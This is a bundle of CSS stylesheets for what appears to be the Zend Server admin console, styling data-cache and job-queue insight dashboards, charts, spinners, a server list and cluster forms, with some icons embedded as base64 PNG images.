ul.dc-insights-list-inline li {
    float: left;
	width: 15%;
    padding: 10px;
	box-sizing: border-box;
}

ul.dc-insights-list-inline li div.dc-insights-cell-wrapper {
	border-left: 3px solid #48A9C5;
	padding-left: 14px;
	box-sizing: border-box;
	height: 60px;
}

ul.dc-insights-list-inline li div.dc-insights-cell-wrapper strong {
	font-weight: normal;
	display: block;
	padding: 0;
	margin: 0;
	font-size: 26px;
	line-height: 28px;
	color: #585858;
}

ul.dc-insights-list-inline li div.dc-insights-cell-wrapper p {
	display: block;
	padding: 0 0 0 3px;
	margin: 0;
	font-size: 13px;
	line-height: 18px;
	color: #000000;
}
ul.dc-insights-new-inline li div.dc-insights-welcome-cell-wrapper {
	background: url('/ZendServer/images/dcinsights/flower.png') left 5px no-repeat;
	padding-top: 22px;
}

ul.dc-insights-na-inline li div.dc-insights-na-cell-wrapper {
	background: url('/ZendServer/images/dcinsights/warning.png') left 1px no-repeat;
}

ul.dc-insights-na-inline li div.dc-insights-whatis-cell-wrapper {
	background: url('/ZendServer/images/dcinsights/question-full.png') left 0px no-repeat;
	padding-top: 22px;
}

ul.dc-insights-na-inline li div.dc-insights-pricing-cell-wrapper {
	background: url('/ZendServer/images/dcinsights/price.png') left 0px no-repeat;
	padding-top: 22px;
}

ul.dc-insights-new-inline li div.dc-insights-whatisnew-cell-wrapper {
	background: url('/ZendServer/images/dcinsights/question.png') left 9px no-repeat;
	padding-top: 21px;
	padding-left: 54px;
}

ul.dc-insights-new-inline li div.dc-insights-white-paper-cell-wrapper {
	background: url('/ZendServer/images/dcinsights/white-paper.png') left 9px no-repeat;
	padding-top: 22px;
	padding-left: 58px;
}

ul.dc-insights-new-inline li div.dc-insights-api-cell-wrapper {
	background: url('/ZendServer/images/dcinsights/plug.png') left 9px no-repeat;
	padding-top: 22px;
	padding-left: 58px;
}

ul.dc-insights-na-inline li div.dc-insights-na-cell {
	padding-top: 9px;
	font-size: 18px;
	padding-left: 14px;
	box-sizing: border-box;
	height: 75px;
	background: #E3E3E3;
	padding-left: 75px;
}

ul.dc-insights-new-inline li div.dc-insights-new-cell {
	padding-top: 19px;
	font-size: 18px;
	padding-left: 14px;
	box-sizing: border-box;
	background-color: #E3E3E3;
	padding-left: 53px;
	height: 60px;
}

.settings-form-wrapper #data-cache-settings label {
	line-height: 40px;
}

p.dc-description {
	padding-left: 38px;
}

input:not([type]).dc-save-disk {
	width: 300px;
}

.settings-form-wrapper label.lock-on-expire {
	display: inline;
	color: #000;
}

.lock-icon:before {
	padding: 13px 8px;
	color: #088fd0;
}

#z-exe-hits-misses {
	height: 250px;
}

#z-exe-hits-ratio {
	height: 250px;
}

.dc-filter-bar {
	padding-right: 10px;
}

.firstUsage {
	white-space: nowrap;
	text-overflow: ellipsis;
}

.hitsRatio {
	margin-top: 19px;
}

.sideDiv {
	font-size: 20px;
    color: #000;
	margin-top: 20px;
}

.hitsRatioValue {
	vertical-align:	top;
	line-height: 50px;
	font-family: 'Open Sans', sans-serif;
    font-size: 58px;
    color: #274b6d;
    fill: #274b6d;
	white-space: nowrap;
	text-overflow: ellipsis;
}

.mainSectionDCPulse {
	float: left;
	width: 70%;
	margin-top: 17px;
}
.sideSectionDCPulse {
	float: left;
	width: 30%;
	text-align: center;
}

li .memorySize, li .diskSize {
	font-size: 14px;
	display: inline-block;
	width: 90px;
	text-align: left;
}

li .memorySizeVal, li .diskSizeVal {
	display: inline-block;
	width: 90px;
}

.clearCacheLink {
	font-size: 13px;
 	margin-left: 9px;
	width: 50px;
}

.dcSizeDiv {
	margin-top: 50px;
}

ul.dc-insights-list-inline li div.dc-insights-cell-wrapper strong.ratio-success {
    color: #5cb85c;
}
ul.dc-insights-list-inline li div.dc-insights-cell-wrapper strong.ratio-info {
    color: #5bc0de;
}
ul.dc-insights-list-inline li div.dc-insights-cell-wrapper strong.ratio-warning {
    color: #f0ad4e;
}
ul.dc-insights-list-inline li div.dc-insights-cell-wrapper strong.ratio-danger {
    color: #d9534f;
}

.dc-tab-section {
    border: 1px solid #DDD;
    overflow: hidden;
    min-height: 700px;
}

div.cacheSize span {
	display: inline-block;
	margin-left: 10px;
}

.hitsRatioTitle {	
	color: black;
	font-size: 20px;
}
.hitsRatioTitle-top {	
	color: black;
	font-size: 14px;
}

.rowAvgTitle h1 {
	font-size: 25px;
	font-weight: normal;
}
	

.cacheSizeBox {	
	display: inline-block;
	width: 100%;
}
.diskSpinner {
	margin-left: 5px;
}
.clearDCButton {
    color: #44afe5;
}
.rightBorder {	
	border-right: 1px solid #DDD;
}
.diskLastUpdatedDir {	
	margin-bottom: 20px;
	margin-top: 5px;
}
.diskSizeLastUpdated {
	font-size:	12px;
	margin-left: 18px;
}
.z-filter-bar select.cacheFilterSelectApp {
	width: 200px;
}
.cache-memory-info-btn {
    color: #088fd0;
	margin-right: 2px;
}

.cache-memory-info-btn:before {
    padding: 0px 0px;
}

.maxNumNamespaces {
    margin-right: 8px;
    margin-top: 3px;
}

.timeAvgRow {
	display: block;
	float: left;
}

.timeAvgNumber {
	font-size: 30px;
}
.timeAvgNumberTitle {
	font-size: 18px;
}
.hitsRatioLabel {
	font-size: 28px;
}
.row {
	display: block;
    width: 100%;
    overflow: hidden;
}
.rowAvgTitle {
	margin-bottom: 20px;
}
.rowAvgLast {
	padding-top: 20px;
    border-bottom: 1px solid #DDD;
    content: "";
    display: block;
    margin: 0 auto;
    width: 50%;
}
.stopWatchTimeAvg {
	font-size: 88px;
}
.clock-avg-row{
    width: 100%;
    max-width: 360px;
    margin: auto; 
}
.timeAvgRowLeft {
    text-align: right;
    width: 33%;
    min-width: 80px;
}
.timeAvgRowRight {
    text-align: left;
    width: 33%;
    min-width: 100px;
}
.timeAvgRowCenter {
    width: 33%;
    min-width: 100px;
}
span.ratio-danger .z-measure-unit {
	color: #d9534f;
}
span.ratio-success .z-measure-unit {
	color: #5cb85c;
}
span.ratio-zero .z-measure-unit {
	color: #000000;
}
.globalStatNumber {
	font-weight: bold;
	font-size: 32px;
}
.globalStatNumberLabel {
	font-weight: bold;
}
.globalStatComments {
	font-size: 16px;
	color: #797979;
}
.globalStatCommentsBold {
	font-weight: bold;
	color: #404040;
}
span.globalStatNumber span.z-measure-unit {
    font-weight: bold;
	font-size: 18px;
	color: #000000;
}
.avg-request-time-btn {
	font-size: 13px;
	color: #088fd0;
	padding: 0px 0px;
}
.avg-request-time-btn:before {
	padding: 0px 0px;
}

.sideDiv span.cache-only-checkbox-label {
	font-size: 13px;
    vertical-align: super;
    margin-right: 10px;
    color: #2774A0;
}
.sideDiv .zend-checkbox-slider{	
    font-size: 11px;
}

.sideDiv .zend-checkbox-slider-on,
.sideDiv .zend-checkbox-slider-off,
.sideDiv .zend-checkbox-slider-blank {
	width: 100px;
}
.cachedRequestsLabel {
	font-size: 13px;
	margin-right: 9px;
	font-family: 'Open Sans', sans-serif;
    font-weight: normal;
}
.activeRadio {
	color: #43AFE0;
}
#dc-dummy-image {
    height: 800px;
    background: transparent url(/ZendServer/images/dcinsights/dummy.png) left top no-repeat;
    opacity: .5;
}

@CHARSET "UTF-8";

.z-row{
    display: block;
    width: 100%;
    overflow: hidden;
    box-sizing: border-box;
}

#dummy-image {
    height: 800px;
	background: transparent url(/ZendServer/images/jqinsights/dummy.png) left top no-repeat;
	opacity: .5;
}

#failures-pie {
    height: 300px;
    margin: 30px auto;
}

.tab-title {
    background: #E3E3E3;
    width: 100%;
    display: block;
    padding-left: 10px;
}

#z-data-header-icon {
    float: right;
    width: 20px;
    height: 20px;
    margin: 5px;
    margin-right: calc(10% - 25px);
    background: transparent url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYdEVYdFNvZnR3YXJlAHBhaW50Lm5ldCA0LjAuM4zml1AAAANxSURBVDhPdVTZTlNRFL3/oiIt8qQ+qmjiGH3SGB+M8cEYIAxCKSghGhQBE4WgOCCdIVWoAwFKq4ADCogiIIOUtrS9E37Gcu99C2jEk5yce889e+219l7nKluNybkV1AVHcKw5BHuVHzlOD/KuBnC86RWuB9/j0/wKskf/P5YTSZS5h5FX6cPOKh92VHfB5qDV4cfOai9yHZ2yx+Dl7jASCX1r0G+LKzh4+zm2ERO704tdNX5ceNCP5hef8SjyFc0vP+BC+xDyGawqALvDhQMNIcwtxf4GXEymUNDwTFjkOH0o7gjjeywFXdetaWq0mljTdMwsJXC5Y0jOMvuCxl7EEplNwFJXlD4EsKPKi1uhz9AMAtAyUE0DpqHB0ExoBKYbaWiaBdwYekcxHmLoQYknYoGNzS5LBjtlKuyMEsgv6CoHWKw0zRBwBlVVFdeCo+ibWIBhrKHocRTbnQGJH6OmKVe730uG/Go/SUtK4PpkWcxK11UBKnoaFXkVvhFhOLOchJ1qy3vXgsNQjjb1SrfOt4cpWJVAwzCyzEykdQ3Ti8sockWkFBcfhpHOGHRGo4Qqzj8cgK3SLTZScmtIInWwoXcUqrYGU1/D1GIc7rfTcEencLZtQGzBHeTCq2mSSwkMZk1J63s/INfpl+4rrJdptvV/sljRZBvwPnc219m18TwfXxX569J5tg5OIsfhlTPKnrpukXnz2ceNWi3FMxicmEd48gdKOsPCqrAjsvGdm8El4Cbc6uGu+rC3lpidaH4pHTnd0ifUuXu8bniM66ZmsnsWI5ankXX4PUGy44k0YqkUFL5r3E2e47Mxykz0yR4Myr5aB2FGqmnVlJNIYtoT+8hqQhmfj1vOJylnWgaRkmBVDlgB2Q5nZ13wndzfMndE1nLXG1R4h0SyGPeK941V7Eovit1R8ZQ4PssgQ8Dr4IHRGakR19kminw4da9v8zr9TGVwqLFHbgHLPXn3NSJf5iQby7UKbrGNTi1gd223gLDveG0fGP/7ss/GVnGEjMeesTkCsNV4sK/+Obn+LWq7R1HqGsJhMrjYwGGBMTO2zgL9FLIwmyO5qlHgCPJrLLuIWVm+wy1B/CNg5mynGz1jcu5c2+t/gf4cC7EE7g9M4BJdnaNNIeyvD+HUnRBKqOD+4WmsJi3Jrf3jeBKdzIIpym9Bv7YjwQcHmAAAAABJRU5ErkJggg==) left top no-repeat;
}

.jq-z-pie {
    background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2RpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo2MUVEQkQ1NDVGNzlFNDExOTMyM0Q3NzA1QzA0NURGNyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDpGNTgzNUE4Mjc5NjMxMUU0ODUzOTkzQUJGMTExNkUxRSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpGNTgzNUE4MTc5NjMxMUU0ODUzOTkzQUJGMTExNkUxRSIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M1IFdpbmRvd3MiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo2MkVEQkQ1NDVGNzlFNDExOTMyM0Q3NzA1QzA0NURGNyIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo2MUVEQkQ1NDVGNzlFNDExOTMyM0Q3NzA1QzA0NURGNyIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PpQFS5IAAANmSURBVHjadFTfS1RBFP5m7l1b119pq7hlm6WrFmZkkUiEREFPQY89VRT1UL0H/QUFQS9B1EO9RkEEUVBhVhARWaauuf4qXHdT23LX1F11753pnPEHKTrscufOfN93zvnm3LGxxvjwtU8/+zaC9mgS0d9p+At8yM0Bthb60BAsxuFQKXbXhcRq3oqF3oFBffvdD7T2xOFIQEkLtutCwzVzITSUK+G1LRzfXY6zzTWorgoua9hLk0/hPn3xYTuiyTlssDQ8UqKxogi7AiUYVwqzcy5+jKeQmJpBelrhcWcc7bEkOiJDem9dlVjOLDz4XV9+8BHjJESBcbS6FOdadqIsz2MCXfscg9LazIs8EkMjExiIT2A+46B8Uy5unWzCrh2VwmR2500/RlNZKCrj1IEQTjdvg1BcmoCtFTQJcVSWm8wq+Ms3orTQi9efhxFLZnD3bZ8JJN919OqXkTFYRDpSG8CZpioIl2jCglTklpIGqFcb7fOivqKUNiRehEfxvqtfy+c9Y7SjYFkC5w9V054DTXNNDLIOZN0Kof9HZchPwg5VpEgwDtkxkiA/LOwJ+hHweSAoQ0kQqhhZEnXF2kIcIO0o7A9tJoxNbTQBOZxKw0OEujIvsvCQkMcISFKzFpXEGkJLz0BJPvmr8Ws6Q/66MAYXeHNIILsItJaJ7Nt6ZfKYsaXxe2pWwy7w2pjMuJicoVMT0hCN8WQsTfiHq/u2m8YVMktZ2AZnMhYC999HyGeBwhwBWZafa146R5OGSG4av7jb+UnxVgnB+MrV0OeAr/G/ZIukVsmH3B8soTQdhH9OYPjPDGXjLggYlmNOizPgNdeyzDrPGcd45jGfdeSx+i2QWhrAzbZBONxXYp7A2mSiTLoOvVL7qKxZ533GMZ55zDc6BxtqxLH6AAEUwrEEbrzqgWI+B+BTJRKXodgnvfDnfcYxnnnMZx3j5IWWWlQU59JpCrT2/sSlR1/QE09QeRa1s6Bm0cYnTprXeZ9xjGce81e0EH/9V558QfRPmoLRsu3A7/Ohnm6NYp9FRz+HSGIasdQ0VU2eUrnBTT5cP9GIFbfG0hgciup7H/rxtHsMs44LaSljuKRTg8yhdnFMmevdZ2t+LN2RAd02kEAX3bQjf9PI0HkUeYFt/o2oKctb96b9J8AANJKguO04VjUAAAAASUVORK5CYII=');
    background-position: left top 1px;
}

#z-data-header-icon.z-pie {
    background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2RpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo2MUVEQkQ1NDVGNzlFNDExOTMyM0Q3NzA1QzA0NURGNyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDpGNTgzNUE4Mjc5NjMxMUU0ODUzOTkzQUJGMTExNkUxRSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpGNTgzNUE4MTc5NjMxMUU0ODUzOTkzQUJGMTExNkUxRSIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M1IFdpbmRvd3MiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo2MkVEQkQ1NDVGNzlFNDExOTMyM0Q3NzA1QzA0NURGNyIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo2MUVEQkQ1NDVGNzlFNDExOTMyM0Q3NzA1QzA0NURGNyIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PpQFS5IAAANmSURBVHjadFTfS1RBFP5m7l1b119pq7hlm6WrFmZkkUiEREFPQY89VRT1UL0H/QUFQS9B1EO9RkEEUVBhVhARWaauuf4qXHdT23LX1F11753pnPEHKTrscufOfN93zvnm3LGxxvjwtU8/+zaC9mgS0d9p+At8yM0Bthb60BAsxuFQKXbXhcRq3oqF3oFBffvdD7T2xOFIQEkLtutCwzVzITSUK+G1LRzfXY6zzTWorgoua9hLk0/hPn3xYTuiyTlssDQ8UqKxogi7AiUYVwqzcy5+jKeQmJpBelrhcWcc7bEkOiJDem9dlVjOLDz4XV9+8BHjJESBcbS6FOdadqIsz2MCXfscg9LazIs8EkMjExiIT2A+46B8Uy5unWzCrh2VwmR2500/RlNZKCrj1IEQTjdvg1BcmoCtFTQJcVSWm8wq+Ms3orTQi9efhxFLZnD3bZ8JJN919OqXkTFYRDpSG8CZpioIl2jCglTklpIGqFcb7fOivqKUNiRehEfxvqtfy+c9Y7SjYFkC5w9V054DTXNNDLIOZN0Kof9HZchPwg5VpEgwDtkxkiA/LOwJ+hHweSAoQ0kQqhhZEnXF2kIcIO0o7A9tJoxNbTQBOZxKw0OEujIvsvCQkMcISFKzFpXEGkJLz0BJPvmr8Ws6Q/66MAYXeHNIILsItJaJ7Nt6ZfKYsaXxe2pWwy7w2pjMuJicoVMT0hCN8WQsTfiHq/u2m8YVMktZ2AZnMhYC999HyGeBwhwBWZafa146R5OGSG4av7jb+UnxVgnB+MrV0OeAr/G/ZIukVsmH3B8soTQdhH9OYPjPDGXjLggYlmNOizPgNdeyzDrPGcd45jGfdeSx+i2QWhrAzbZBONxXYp7A2mSiTLoOvVL7qKxZ533GMZ55zDc6BxtqxLH6AAEUwrEEbrzqgWI+B+BTJRKXodgnvfDnfcYxnnnMZx3j5IWWWlQU59JpCrT2/sSlR1/QE09QeRa1s6Bm0cYnTprXeZ9xjGce81e0EH/9V558QfRPmoLRsu3A7/Ohnm6NYp9FRz+HSGIasdQ0VU2eUrnBTT5cP9GIFbfG0hgciup7H/rxtHsMs44LaSljuKRTg8yhdnFMmevdZ2t+LN2RAd02kEAX3bQjf9PI0HkUeYFt/o2oKctb96b9J8AANJKguO04VjUAAAAASUVORK5CYII=');
    background-position: left top 1px;
}

.jqFilter .z-filter-bar {
	overflow: initial;
}
.z-filter-bar select.jqPulseFilterSelectApp  {
	width: 150px;	
}

.z-filter-bar select.jqPulseFilterSelectQueue  {
	width: 150px;	
}

.z-filter-bar select.jqPulseFilterSelectType  {
	width: 70px;
}

.jq-tab-title {
    background: #E3E3E3;
    width: 100%;
    display: block;
    padding-left: 10px;
	height:	30px;
	text-align: center;
	line-height: 30px;
}

.under-tabs-trends-title {
    background: #E3E3E3;
    width: 100%;
    display: block;
    padding-left: 10px;
	line-height: 30px;
}

.sumStats {
	margin: 25px 0px 0px 0px;
	font-family: Open Sans, arial;
    font-size: 58px;
    color: #274b6d;
    fill: #274b6d;
	white-space: nowrap;
	text-overflow: ellipsis;
}

.progress {
    height: 30px;
	margin: 10px 10px 10px 20px;
	line-height: 30px;
    margin-bottom: 20px;
    overflow: hidden;
    background-color: #f5f5f5;
    border-radius: 4px;
    -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,.1);
    box-shadow: inset 0 1px 2px rgba(0,0,0,.1);
}

.ratio {
	padding-left: 5px;
	font-weight: bold;
}
.ratio-success {
    color: #5cb85c;
}
.ratio-info {
    color: #5bc0de;
}
.ratio-warning {
    color: #f0ad4e;
}
.ratio-danger {
    color: #d9534f;
}

.progress-bar {
    float: left;
    width: 0;
    height: 100%;
    font-size: 12px;
    line-height: 30px;
    color: #fff;
    text-align: center;
    -webkit-box-shadow: inset 0 -1px 0 rgba(0,0,0,.15);
    box-shadow: inset 0 -1px 0 rgba(0,0,0,.15);
    -webkit-transition: width .6s ease;
    -o-transition: width .6s ease;
    transition: width .6s ease;
}

#z-exe-history-trend {
	height: 250px;
}

#z-failed-exe-history-trend {
	height: 250px;
}

ul.jq-insights-list-inline {
	width: 100%;
	padding: 0;
	margin: 0;
    background: #E3E3E3;
	overflow: hidden;
	border-radius: 3px;
}

ul.jq-insights-list-inline li {
    float: left;
	width: 14%;
    padding: 10px;
	box-sizing: border-box;
}

ul.jq-insights-list-inline li div.jq-insights-cell-wrapper {
	border-left: 3px solid #48A9C5;
	padding-left: 14px;
	box-sizing: border-box;
	height: 60px;
}

.jq-insights-na-inline, .jq-insights-new-inline {
	overflow: hidden;
}

ul.jq-insights-na-inline ul.jq-insights-new-inline {
	padding: 0;
	margin: 0;
	overflow: hidden;
	border-radius: 3px;
	margin-left: 93px;
	margin-top: 50px;
}

ul.jq-insights-na-inline li, ul.jq-insights-new-inline li{
    float: left;
	width: 14%;
    padding: 10px;
	box-sizing: border-box;
	background: #E3E3E3;
	margin-right: 8px;
}

ul.jq-insights-na-inline li.jqNA {
    width: 330px;
}

ul.jq-insights-na-inline li.jqWhatis {
    width: 280px;
}

ul.jq-insights-na-inline li.jqPricing {
    width: 240px;
}

ul.jq-insights-new-inline li.jqWelcome {
    width: 275px;
}
ul.jq-insights-new-inline li.jqWhatisNew {
    width: 258px;
}
ul.jq-insights-new-inline li.jqConfigure {
    width: 280px;
}
ul.jq-insights-new-inline li.jqScheduleJob {
    width: 220px;
}

ul.jq-insights-na-inline li div.jq-insights-na-cell {
	padding-top: 9px;
	font-size: 18px;
	padding-left: 14px;
	box-sizing: border-box;
	height: 75px;
	background: #E3E3E3;
	padding-left: 75px;
}

ul.jq-insights-new-inline li div.jq-insights-new-cell {
	padding-top: 9px;
	font-size: 18px;
	padding-left: 14px;
	box-sizing: border-box;
	background: #E3E3E3;
	padding-left: 60px;
	height: 60px;
}

ul.jq-insights-na-inline li div.jq-insights-na-cell-wrapper {
	background: url('/ZendServer/images/jqinsights/warning.png') left 1px no-repeat;
}

ul.jq-insights-na-inline li div.jq-insights-whatis-cell-wrapper {
	background: url('/ZendServer/images/jqinsights/question-full.png') left 0px no-repeat;
	padding-top: 22px;
}

ul.jq-insights-na-inline li div.jq-insights-pricing-cell-wrapper {
	background: url('/ZendServer/images/jqinsights/price.png') left 0px no-repeat;
	padding-top: 22px;
}

ul.jq-insights-new-inline li div.jq-insights-welcome-cell-wrapper {
	background: url('/ZendServer/images/jqinsights/flower.png') left 5px no-repeat;
	padding-top: 22px;
}

ul.jq-insights-new-inline li div.jq-insights-whatisnew-cell-wrapper {
	background: url('/ZendServer/images/jqinsights/question.png') left 9px no-repeat;
	padding-top: 21px;
	padding-left: 54px;
}

ul.jq-insights-new-inline li div.jq-insights-configure-cell-wrapper {
	background: url('/ZendServer/images/jqinsights/configure.png') left 9px no-repeat;
	padding-top: 22px;
	padding-left: 58px;
}

ul.jq-insights-new-inline li div.jq-insights-schedule-cell-wrapper {
	background: url('/ZendServer/images/jqinsights/clock.png') left 9px no-repeat;
	padding-top: 22px;
	padding-left: 58px;
}

ul.jq-insights-list-inline li div.jq-insights-cell-wrapper strong {
	font-weight: normal;
	display: block;
	padding: 0;
	margin: 0;
	font-size: 26px;
	line-height: 28px;
	color: #585858;
}

ul.jq-insights-list-inline li div.jq-insights-cell-wrapper p {
	display: block;
	padding: 0 0 0 3px;
	margin: 0;
	font-size: 13px;
	line-height: 18px;
	color: #000000;
}

.jqJobsPerMin {
	margin-top: 40px auto;
}

.jqFailedPie {
   	margin: 40px 0px 0px 10px;
	text-align: center;
}

.successRatio {
    margin-top: 19px;
}

.successRatioTitle {
	font-size: 20px;
    color: #000;
}

.successRatioTitleDiv {
	text-align: left;
	margin-top: 10px;
}

.autoRefreshSeparator {
	padding: 0px 6px;
	border-left: 1px solid #A5A5A5;
}

.refreshSpaceSeparator {
	padding: 0px 4px;
}

.z-filter-bar label {
	color: #404040;
}

#auto-refresh-evry {
	font-size: 15px;
}

#jq-auto-refresh-checkbox {	
	vertical-align: middle;
}

#jq-auto-refresh-interval {	
	width: 50px;
	padding: 0 3px;
	height: 24px;
}

#logs_file_content_refresh_icon {
	float: right;
	top: 50px;
	right: 0;
	margin: 0;
	margin-right: 10px;
	padding: 0px 15px;
	color: #FFF;
	background: #48A9C5;
}

.graphTitle {
	font-size: 20px;
	color: #098ECF;
}

.criticalEventsDataBox {
    margin: 5px 5px 0 15px;
	overflow: auto;
    float: left;
    width: 100%;
	padding-bottom: 30px;
}

.latestEvents {
}

.jq-pulse-ui-grid-cell-error {
	color: #ed4e29;
}
.jq-pulse-ui-grid-cell-warning {
	color: #fcb320;
}
.jq-pulse-ui-grid-cell-notice {
	color: #9a9a99;
}

div.latestEvents .ui-grid-cell, [ui-grid-expandable-row] {
	/*border: none;*/
}

div.latestEvents .ui-grid-cell {
	border-right: none;
}

div.latestEvents .ui-grid-top-panel {
    border-top: 2px solid #dddddd;
}

div.latestEvents .ui-grid-row:nth-child(even) .ui-grid-cell {
	background-color: #FFFFFF;
}

div.latestEvents .ui-grid-row:nth-child(odd) .ui-grid-cell {
	background-color: #FFFFFF;
}

div.latestEvents .ui-grid {
    border: none;
}

.removeEventBtn {
	color: #9a9a99;
}
.removeEventBtn:hover {
	color: #8A8A89;
}

.mainSection {
	float: left;
	width: 70%;
	margin-top: 17px;
}
.sideSection {
	float: left;
	width: 30%;
	text-align: center;
}
.watermark {
	position: absolute;
	top : 80px;
	opacity: 0.25;
	font-size: 3em;
	width: 100%;
	text-align: center;
	z-index: 1000;
}
.jqSmallRatioSuccess {
    font-size: 27px;
    display: inline-block;
    height: 38px;
}



.DG-spinner-container {
    border: 1px solid #7F9DB9;
    padding-right: 10px;
	/* The place needed for the arrows */
}

.DG-spinner-arrows-container {
    background-color: #c9d8fc;
    width: 11px;
    border-color: #7F9DB9;
}

div.DG-spinner-arrow-overeffect {
    background-color: #d2eafe;
}

.DG-spinner-arrows-container div.DG-spinner-arrow-downeffect {
    background-color: #93acf2;
}

.DG-spinner-arrow-up {
    background-color: #c9d8fc;
    width: 11px;
    background-image: url('/ZendServer/images/up-arrow.gif');
}

.DG-spinner-arrow-down {
    background-color: #c9d8fc;
    width: 11px;
    background-image: url('/ZendServer/images/down-arrow.gif');
}

.DG-spinner-arrow-separator {
    width: 100%;
    height: 1px;
    background-color: #EEE;
}
@CHARSET "UTF-8";

.server_display {
    padding: 10px 10px 10px 10px;
}

.content_box {
    direction: rtl;
    overflow: auto;
    margin: 0px;
    width: 200px;
    padding-right: 25px;
}

.content_box h2 {
    background: url("/ZendServer/images/grain.png") top right;
    direction: ltr;
    border-bottom: 1px solid #BFBFBF;
    font-size: 14px;
    color: #225368;
    display: block;
    padding: 12px 5px 12px 17px;
}

.content_boxul {
    list-style-type: none;
}

.value {
    line-height: 22px;
}

#servers-list {
    background: url("/ZendServer/images/grain.png") top right;
    direction: ltr;
    list-style-type: none;
    padding: 0;
    margin: 0;
}

#servers-list li {
    cursor: pointer;
    height: 26px;
    line-height: 26px;
    color: #666666;
    padding-left: 17px;
    position: relative;
}

#servers-list li:hover,
#servers-list li.active {
    background: #88A2AD;
    color: #fff;
}

#servers-list li span {
    margin-right: 10px;
    white-space: nowrap;
    display: block;
    overflow: hidden;
}

.server-info-active-arrow {
    background: url("/ZendServer/images/server-info-arrow.png") top right no-repeat;
    height: 26px;
    width: 11px;
    position: absolute;
    display: none;
    top: 0;
    right: -11px;
}

#servers-list li:hover > .server-info-active-arrow,
#servers-list li.active > .server-info-active-arrow {
    display: block;
}

#info-div {
    overflow: auto;
    position: relative;
    width: 100%;
}

/*html {
	overflow: hidden;
}*/

#graph1 {
    width: 400px;
}
@CHARSET "UTF-8";

#addserverform div.message-box {
    margin-right: 15px;
    margin-left: 15px;
}

#join-cluster-form table {
    margin-bottom: 8px;
}

.limitedMessage {
    padding: 10px;
}

#restart-php-btn {
    margin-top: 5px;
}

#grid-action-bar h2 {
    line-height: 23px;
    height: 21px !important;
}

.default-server-message {
    margin-bottom: 10px;
}

.floating-tip input.rename-field {
    width: 230px;
}

.default-server-message-container {
    white-space: normal !important;
    text-align: left !important;
}

.clusterModeLabel {
    color: #68757c;
}

.wizard {
    height: 345px;
}
@CHARSET "UTF-8";

.tag {
    padding: 5px;
    cursor: pointer;
    padding: 1px 4px 2px;
    background-color: #43AFE0;
    color: white;
    white-space: nowrap;
    display: inline-block;
    margin: 5px 5px;
}

